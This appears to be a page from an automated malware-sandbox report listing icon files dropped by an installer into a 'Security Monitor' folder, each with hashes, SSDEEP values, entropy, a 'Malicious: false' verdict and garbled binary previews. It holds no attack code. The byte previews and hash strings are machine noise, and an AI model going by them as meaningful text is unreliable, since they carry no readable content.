SHA1:	48B4134044934131BE1F0D78AE817B9D75142218
SHA-256:	2D57537EC385D3B1663ABE0A253446F10942B536B206DF511749302173F7EDD2
SHA-512:	C5DAFD99771D67DE444225E029BAC7D918434A7E1F8D46A50B9401867A720AD7409D95A644385B3924FAB0212936A32A8580BB4BF650BB7A214425C6B72ABBB7
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................9...C...;...<...<...<&..<..<,..<-..<-..<-..<-..<,..<..<&..<...<...;...A...:...........................................=...<...=(..=s..<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...=s..=(..=...=...........................=...>...>...=x..=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=x..>...>...=...............>...?...?...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...........?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...@...?.......@...M...@x..@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@y..K...@...A...A(..A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A(..A...A...Bs..B...B...B...B...B...B...B...B...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\aim.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.398174204777635
Encrypted:	false
SSDEEP:	48:Jast2MOHFY/G3BwkW6YvzQNUWRQi+EKbp2uDd4pWRwf2aGAXV:hwMOCGCvzCUW946dfMI
MD5:	E86E5DECCF75CD251149376B2882272B
SHA1:	B84C1608F2E77A4BB78D1523A679F9C74256D227
SHA-256:	228AB3BBAEEA67B9B701E5F034C05E00B61739F4BB8B9256E8FA6E4AE40C74BF
SHA-512:	784EB5883876810C15637C541EB036E87F0964F8A4B39CB7303B3C84EF8FC59425F7528890114B3381EEF021E992CD485A97EB4C58C5B8F5389F3114D6816C63
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................224.02;.15E614E:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:15E903?/01...................................=...H...u.......z...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x.......{...U...%>..B...........................c..%...)...+...)...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(......*...'....u...&E......................B~.'...5...?..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A...@...9...+....b.......................z..;..$D..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...?...(....0F...............'....#E..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...:....Ed...............+.:..#E..#D..#D..#D..#D..#D..#D.."D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\icq.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.123671236740637
Encrypted:	false
SSDEEP:	96:M6HyDOdzc8+Efv02qJgthMtLdhItbSCIYU2P8x4He:YDOd4QH02qJlZdhUzIY0e+
MD5:	9D963AAEF1A316841C2C34AE32CDEDB3
SHA1:	A73386D3ABE3824621B72143E0402BC1388CE700
SHA-256:	9DD59EBDBAA0D4CB4A4422D597DB6C7EEC60624F042A273AB1C75AD785168945
SHA-512:	81757CF518EFB4CCB90BFE35383D39D16F5C9210BBA8EE2E58F62A4961591F4244D78C6702B1AD022E9205C7177976B2E8EDC8E8FA5C4BCD2BB6F95F504140B2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................h-L/./d5.,R/....t........................................................................................................3M3.).C...5.../...1.(.;..I-.................................................................................................3&.$.;.....................!.,.#-.........("&..-^0.,b1. &......................................................................6t8.............................%c$....));$...(...!...'.".8.)='................................................................&/.0..............................l..!.......................&.2....@............................................................,p(...............0...7...1......i..):#..........................&.s............................................................I#...........8.).M./.U./.P.).?. f.."[&...:.&.J.'.G...5..........".q.......9...M...<........................................... ..._.y....$.,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-2GLLF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.760005259103538
Encrypted:	false
SSDEEP:	48:9cPueb/98+LRtKVF/7x5qcUuD4oxp7SJU9Jhni4GZ9h2u0Kuq+j6vQuQ:efO8Yx42Jhni4GUuLuhmY/
MD5:	6EDC10A9110ACA8413A654526A2C9A08
SHA1:	74515C9BAEE2A5CA04CBF57A179F98FFA650B890
SHA-256:	E15B8D976729695D510F6CD60E047006F57D09DCF477A58F7D3CF09ED9A34AAA
SHA-512:	1E02B7F6028872398FA087B6BCA84E7F5B5D85BBB14BE1F05F576AAC4E531127A2B5919095C8479838F98CDCCBBE8274891A355857515F94061FF2B8D4D286B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-5280P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-6CGGI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.505932325468453
Encrypted:	false
SSDEEP:	48:6x5Iin1G7yKJ1Gs3UNIAB09uq8eq+xn704qtiCA2Kn5t7eUO:6fIinYy7sCIASsq8jKqBA2K5Ber
MD5:	A9756849B11E570FCB8F845201B4A435
SHA1:	6A6085576DD2B871485296BF2EAA1A4E02EF9C81
SHA-256:	4CDD2B35CB1CA9E330D06E184FDA8FA664DD59C7428F67DE9986E77087DEFB5B
SHA-512:	47D16D4EA54B20F7124BDD64B2377D1D00AEECC228EDBCD77A754EDA9D9F977180A2E6E906A0527C9D05EE2C9BEFD52045E7D42B93E69C6E94F9FA73195BDE22
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................._..._.P.a..a.._.P._..................................................................................................._...r.)...?...N...R...G...0....w.._......................................................................................._...\|..2...E...:...,...-...>...O...@..."...._...................................................................................m.*...<...'...+H..@>..MO..:G..'t..G...:....y.............................................................................._.@ ...6...-...$)..'"..41..<9..0,..&"..'g..?...(...._.@.........................................................B...F

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-736MC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.099397362289201
Encrypted:	false
SSDEEP:	48:SB5/OEO7w9J5CJDojYDgyTAU8Nazp+1RmzzVzab20B+H7YBkLviAhJySdzMVn9f:UGniUvXAdNGtzzu8ALAmS0
MD5:	3236B7EE04864A464C4269EA6772C06B
SHA1:	C32DAC3F987C391FAEEFB48184431669F6C2D961
SHA-256:	641DB9FED269716510F749F98430FBB3563A0DDE013354CA2ECCC572E95EAF84
SHA-512:	F311E36B92F5905B15E9738FE431C287253A2DDD05D5EBA758DCCD7257884D3A7990DCB6A77401C25122EAC419F68F543ACDA12BB3AABA0C790155EE84544702
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................................................`.........................................................................................................................j.........`.....................................................................................................................Uw..k.........`.................................................................................................................Vw..Wx..w.........@...@...@...@...@.............................................................................................Vx..Wx..Xz..............................................@....................................................... .............Wy..Xy..Xz..X{........................................................ .......................................`.................Wy..Xz..X{..Y{..Z\|..d...Z~..[~..z.........................................P...............................`...............b...Wz..X

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-A0CJS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.3625361404350915
Encrypted:	false
SSDEEP:	48:Og3bVNe49Z9LhdznJkyBVLBBHb31UOOrO2SB2NNg1F0U:53FLhBeyBlBB73134NNCWU
MD5:	E1286437AA2367AE05B567CA07F7AE38
SHA1:	A258C5400BBC5E28476805B4EBA278BA6D128432
SHA-256:	A886A335B7FC0A8EB88120FDF43E31AC349553D3DF1D3A911E3D2DF8A530BAAD
SHA-512:	E7477879F63A77A50B11D1CFFEC5ECF911A2906568FDFD1912031FAC0C2180834F5540F6EB190C43C0DA6CA52C51FF0C714C08F32C5ADF52C1FCA15EB2804595
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................X<.!~V.3.W.3Z=.!................................................................................................pM.!.n.{.u..z..~...~...~...~...{..u..o.}sO.%........................................................................\|U.#.t...~...........................................~...t..~W.'.............................................................m.k.~.........................................................~...n.o.....................................................u...........................................................................v..1!...........................................x...........................................~.......................................y.......................................u.u......................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-C4O2C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.548751958766154
Encrypted:	false
SSDEEP:	48:I36IcaNTUkY37c3Yd/oB3cEYp2LctCWZhlt9b7Q01iEtcm:I39NART/EshwaCOLfQmdth
MD5:	3FF113ABAD7A9C6F2AE88B1680E5DE0E
SHA1:	840BDB6139021E1FE655C240324A64481BB999FF
SHA-256:	57EEA00C948FF2F8EE9604160F4143891E5F5792765961408CE99E68CAB04BB6
SHA-512:	52B899DA820C3E3195799300122346B1A461B5139C213CEB8DED89734CDAD45878BE7E2B2F21AB5F9301CDABE6E2628571C9BB62923E318947FB41C0F2D78BF0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................................................................................................................................................................................................................................................%...................................................................................................#...G...d...\|....962.:62.;73........]...6..."..."................................................................... .......5...n....gaZ..\|.......................g`Y....K...........................................................................R...vnhb............................................PKEV...................................................................T-+(......................................................................................................................F.+).....................r.~.`...N.bN.`N.X\..sm.v...............}..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-C7Q4R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.980115331909525
Encrypted:	false
SSDEEP:	48:zCCCPJgo7qkfGEEEEEEEEEE1vt9COYNybhh3cGcm:O1So7qkf8zyNw33P
MD5:	6447AACD6C19A9D3F0CDB2322620997A
SHA1:	DECED599496691BB5403D8CAA063227181400DED
SHA-256:	B5D3DDED1F4C3F75C033E19008119BC8E283DE10BBBCE39488854028C54511ED
SHA-512:	91942D1C960B176BCA722CB5AF08B38A0072B789EC9E8B75236662BD69418251FBC1A30A41FD1FE0264CA34934608989AD441E728972F1E389CDB3E30F9336FF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................................................................................................................................................../..?..?../............................o...................................................................................................................?.............................................................................................................?......................................o...........................................................................................................................................................................o........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-DCR92.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.636162501782274
Encrypted:	false
SSDEEP:	96:L9Ma1/Da+8+n63MJPD7wVGuTsJsr1sZbol4zQvH:ZN17a+8+jlmsJsxll
MD5:	0673E359F24B2E3E70DEF71FD99DCA08
SHA1:	9CCFDF61774455EFA4F203A295B7CD73970381F1
SHA-256:	9B2E88181222D914DF957836D7DDD48F1400CEF417C2AAF4705F399F07E4F872
SHA-512:	C6178BDBCCCE71F4F92FEF31E8D5FADA4098CD5A2CF9A9593EE5A9E81CC9B878820731EE32874EF912FE816050B7A7F3DC280A2381B2BF41DEC8332BDBC98F9C
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................[I.....F#...L<P................................................................................................^L..........\H..hQ.......t.................................................................................................nF9..........]I..oV..hQ.......w.........................j?6E.YKs.YJu.YJu.XJu.XJu.WIu.XIu.UGu.REu.SEu.REu.SDu.SDu.SDu.RCt.RBy.VF\.........aM..qY..oV..iR.......x......................iX..}h..j...j...j...i..~i..~h..}g..wd..vc..vb..vb..wb..wa..wa..w`..v_..v`......fQ..t[..qY..pX..jT.......z..........}......fV_.m..m..l..l..l..k..k...j..we..vd..vd..wd..wc..wb..wb..wb..wa..xb..\Ms.gS..v^..r[..rZ..qY..kU.......\|.................{h..o..n..n..n..m..m..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-FBQMF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.992992998632407
Encrypted:	false
SSDEEP:	48:LxwRTmmd4FjFuwKqDBF2fA+O4dwvcYhEEXB7/T/B/cfGt:LxtmiFjKuP+O4dw0Wx7/7qOt
MD5:	BCF4E26316979B5DA494DBEA2C92B1CB
SHA1:	080339DB0B56E86428295596CED9EEBF416D050C
SHA-256:	A34A7DB975EB4367B54DC7BB5BC49A6B12F12501C3BEE21D9C9093717C193999
SHA-512:	D52B6394C34929C4758F7F5C3D805EDE1BED09C47F80B23E4EDA8A8A81D12763014B999F95E9FBDAE41A1C26548718B86C90C02BB0C8714B21078330B12D2B8F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................................................................h?!.h?..i@.jA.jA..jA..jA..jA..jA.jA.i@..h?.................................................................................h?...K...S...X..]...Z...S...M...K..\|E..uB..i@.................................................:.Jc:.J.:.J.:.J.:.J.:.J.:.J.:.J..i@..[..o..............z..j...M..oE..d>.............................................:.J.N.b.c.y.j.}.c.u.X.i.N.a.E.W.A.R..lC..g......................{...g.yoR..wU.wjK.ziG.,ju.,kv.fq.0t.................._...A.Q............y..i.y.c.t.n.a..uH..wM..u...............................j...........k.}.2..F...9 ...6...;...<..@@..IC.qK=.P.G.X..........{.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-FTLS9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.128222585880228
Encrypted:	false
SSDEEP:	48:0UTeD1j0JtPPPPPPPPPPPPPPPPPPPPPPPPPPP0BU2LxHfNeQktOOh/L+1Ya2Xm5w:0UTeDrHkQeOOh/Lgf2Xm5PciHahGcymV
MD5:	FE64E1FF82E7BB3030287E3EC9A1CA1F
SHA1:	48B4134044934131BE1F0D78AE817B9D75142218
SHA-256:	2D57537EC385D3B1663ABE0A253446F10942B536B206DF511749302173F7EDD2
SHA-512:	C5DAFD99771D67DE444225E029BAC7D918434A7E1F8D46A50B9401867A720AD7409D95A644385B3924FAB0212936A32A8580BB4BF650BB7A214425C6B72ABBB7
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................9...C...;...<...<...<&..<..<,..<-..<-..<-..<-..<,..<..<&..<...<...;...A...:...........................................=...<...=(..=s..<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...=s..=(..=...=...........................=...>...>...=x..=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=x..>...>...=...............>...?...?...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...........?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...@...?.......@...M...@x..@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@y..K...@...A...A(..A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A(..A...A...Bs..B...B...B...B...B...B...B...B...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-INTC6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.865260776041573
Encrypted:	false
SSDEEP:	96:KSAuCHoaNkcD71rTr/JXTL2oOJu2u/V8o52K:KJuCHHN/rTMoOJun/VJUK
MD5:	340BD449C16ECBF1A7BC30C7B3AED555
SHA1:	D4464A700F4A7C6CDA68BE19AE90B0526D980B33
SHA-256:	01F8E1E82FDA69928E9EDA19DE2D775F4194CB8ADC081753C426456BFE2619F6
SHA-512:	16807B0C2B16547397D717DDA738B69122F2C3DC6CF2DE988F8675D4F2E0B5C9592D350FF6F408F012FCB4B3822FDB5ED6CA887D311DDAED090193AFAF0826B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................3...@...-......@...&.......................................................................................................(+...[(..m7..D...G...a1..>......<.......................................................................................'...7...D...E3...L ..V7.f)..X....>".s5.. ..z...................................................................)...0...9...A...I...O...R...S...P..zB...n8&.c(..P...{9!.t1..4...................................................... ...E'......\...D...P...V...Y...Z...[...`...g...i!...E...v:+.T...L...p/".^...8...A..4........................................)..tI..........=...@...P...T...Y...c...j....&&0.<>J.div.....j<5.j(..C...M...Y...E...A...}..=................................=...Q...8......g...Q.......c...V...v((1.?@L.hny...............n\b.a"..O...;...H...t5..c+..L...z..$........................J..\|R...4...0.......).....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-K1B48.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.056283894172477
Encrypted:	false
SSDEEP:	96:DZlab9wlipnz12qCLtZ7JgVksVScm8FPcTi:D3aJkipzZKtpJEkiBFEm
MD5:	F501D67C40B9B639411C99B14F60E14D
SHA1:	6F16B1384505A87848A6FB078FC3B62CC55BBF94
SHA-256:	4EC7F2AB9D5FD7E5F1622F007510B4F4D3C1C779E5CDB4B128E2D53A2E468A28
SHA-512:	775647B02208318CCAB7ED6873D9351ADD106D5EDF27857E73B215B18C04310693D210EB43415690D51191CDEF7F21AECED1B7FCF5A3AFB254698A9CF13AF3CF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................4...G...K...I...<...&...........................%...:...I...J...E...3...................................................7.'a..M...Z...i...e...N...C...#`....p...\...[...n..S..C...K...a...g...Z...M...,k....3.........................................R...............................e...,m..........+i..b...z...........................U...#Z..................................7.@....8....................Gp.VSY........................\co..Hz.............'...G........;.@.................................;. ....~...p...,....Sr.NAA........................................^US..S......[...A........@.0.....................................s.....8...02<.qdb....................................................../C..........~...........................................K...u.*'/.rdb..............................................................1E..y..P..............................................-.#.C67...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-KGHQE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.398174204777635
Encrypted:	false
SSDEEP:	48:Jast2MOHFY/G3BwkW6YvzQNUWRQi+EKbp2uDd4pWRwf2aGAXV:hwMOCGCvzCUW946dfMI
MD5:	E86E5DECCF75CD251149376B2882272B
SHA1:	B84C1608F2E77A4BB78D1523A679F9C74256D227
SHA-256:	228AB3BBAEEA67B9B701E5F034C05E00B61739F4BB8B9256E8FA6E4AE40C74BF
SHA-512:	784EB5883876810C15637C541EB036E87F0964F8A4B39CB7303B3C84EF8FC59425F7528890114B3381EEF021E992CD485A97EB4C58C5B8F5389F3114D6816C63
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................224.02;.15E614E:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:15E903?/01...................................=...H...u.......z...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x.......{...U...%>..B...........................c..%...)...+...)...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(......*...'....u...&E......................B~.'...5...?..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A...@...9...+....b.......................z..;..$D..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...?...(....0F...............'....#E..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...:....Ed...............+.:..#E..#D..#D..#D..#D..#D..#D.."D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-N4L5B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.07531325717377
Encrypted:	false
SSDEEP:	48:n2to4hDDD+l6ZtQE1mA/+PWLlClkKAUqjcVGTJUysHFa/IJu:2tthDDal6LL+PWQSB6sTqysHFaQJu
MD5:	D0D41AD531613F51005CFDD6E7AFC134
SHA1:	828A3A01B74603403798155326286743F5E4000C
SHA-256:	0E43F7B2B24A035112F9FACD840EF0856F68260BA890CA1EDD7FF7B4A1DD3036
SHA-512:	3471310FDE5E1341FD75B69C5271B15B385885E90A277E90F989D75638CCCA63E1E04BF4574E2610B24AC16BD0C04113EFC15E5B2A25EBC94191845BD03E8F44
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................RRR.VWW.}...ccd.ccd.~...dee.-...............................................................................................qrr.))).....................................................................................................................PRR.]__.'''.9;:.?CA.<>=.<?=.@CA.011....%uxx.............................................................................................wxw.........................NOO.................TTT.BBB.;;;.........................................JJJ.HHH.OOO=eee.TSS.ZYY+433.........`.y.E.e.F.f.Y.v.................bbb.[[Z....O.......................................................................2...........0...%...'...+...........2...4........XXX.....xxx.............................................................lll....F........1...7...8...............Y............ppp.....ccc.........................\\\.ttt.nnn.non.ddc.rrr...............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-NC0JK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.943764396001677
Encrypted:	false
SSDEEP:	48:LvIxIlvIfcPp3sOHG3cj4D0oT9wgXXXXXXDpXXXXXXDBXXXXXX5vXXXXj9FLXo4O:LvIxIlvIEx3rHb4D0WpZYO2B
MD5:	0075259CD4B132A02EB69CA2D82B1021
SHA1:	D0F009D16495A8480891E0BB1F4D9EF7DFC96B18
SHA-256:	EF6FF1A4B4740C8BA8817D625895D36DDD386C051B798A210EA9B59F68BBAEB7
SHA-512:	2803475A5F0E2B277A022DA9122B6AF5BD1EA8F663C77F39FD2EF739729721A9ADA3B27DC50F8C37B959E45E9A78F8675BB6EDE9AFE77AFCF6DBB54B8D6D3A78
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................'...,...1...1...,...'...............................................................................................1...\.................................\...1...........................................................................6...........................................................6...........................................................(...m.................................................................m...(....................................................................................................................................................................................................sA..m9..................E...Q.................................................................(...........................b)..Z...Z...Z.......................<.................................(...........................m..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-OSOH0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.386046922758486
Encrypted:	false
SSDEEP:	24:su7IUPPPPRZZZZZ+avnjxUrbbbbbbbbLB2JeFxgeaXQ0:hIUPPPPaavlUrbbbbbbbbLBoOxsXJ
MD5:	5D316BF8CE58BBA7DE8943D5E8A60244
SHA1:	898FCA22C2A5FDC22859FB4994BDC8105D797BC2
SHA-256:	92B5DF95A623E9786D079E86264CDCF882EF6C80FA824564D584B530D50BF483
SHA-512:	F7C9E47127411FAE362A2BEC2A196C4C6116350D3AF7D8E6841D7824D5F0148EA8CAEF04BC5F404BD055229EB209DED86578E3EA594EB1CCCE5219586225C904
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................{`.{..{..{..{..{..{..{`.........................................................................................{ .{..{..{..{..{..{..{..{..{..{..{ .............................................................................{ .{..{..{..{..{..{..{..{..{..{..{..{..{ .........................................................................{..{..{..{..{..{..{..{..{..{..{..{..{..{......................................................................ib`.ib..ib..ib..ib..ib..ib..ng..{..{..{..{..{..{..{..{`.................................................................^X..^X..^X..^X..^X..^X..^X..^X..xp..{..{..{..{..{..{..{r..YP..YP..YP..YP..YP.............................................l<8.l<

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-P3TCG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5182
Entropy (8bit):	4.429830209492408
Encrypted:	false
SSDEEP:	48:Rd9W4lzzzzzYXFrNmoN03g+iIsaDBYFGmGW2PD51s2ARAAR/sAye8:dW4gnJLI7DBolGW2r51dARAARRye
MD5:	31B5594B3A3289FB258A4EFBAC38F230
SHA1:	E41016FBE49B5B9B292EFC5C252F73452E55B409
SHA-256:	3B0521E3291E2F330873A66864C3DAC163E8E5DA9D62518C4541B38A979DE7B8
SHA-512:	825F05B05B7A0182B8F87AFCF12BD4FA1B4CF9712D39FCF13058BE32C11091145432273B443F955BEAABB995573252BD7006103E03645107FF434C8EFCC90EA6
Malicious:	false
Reputation:	unknown
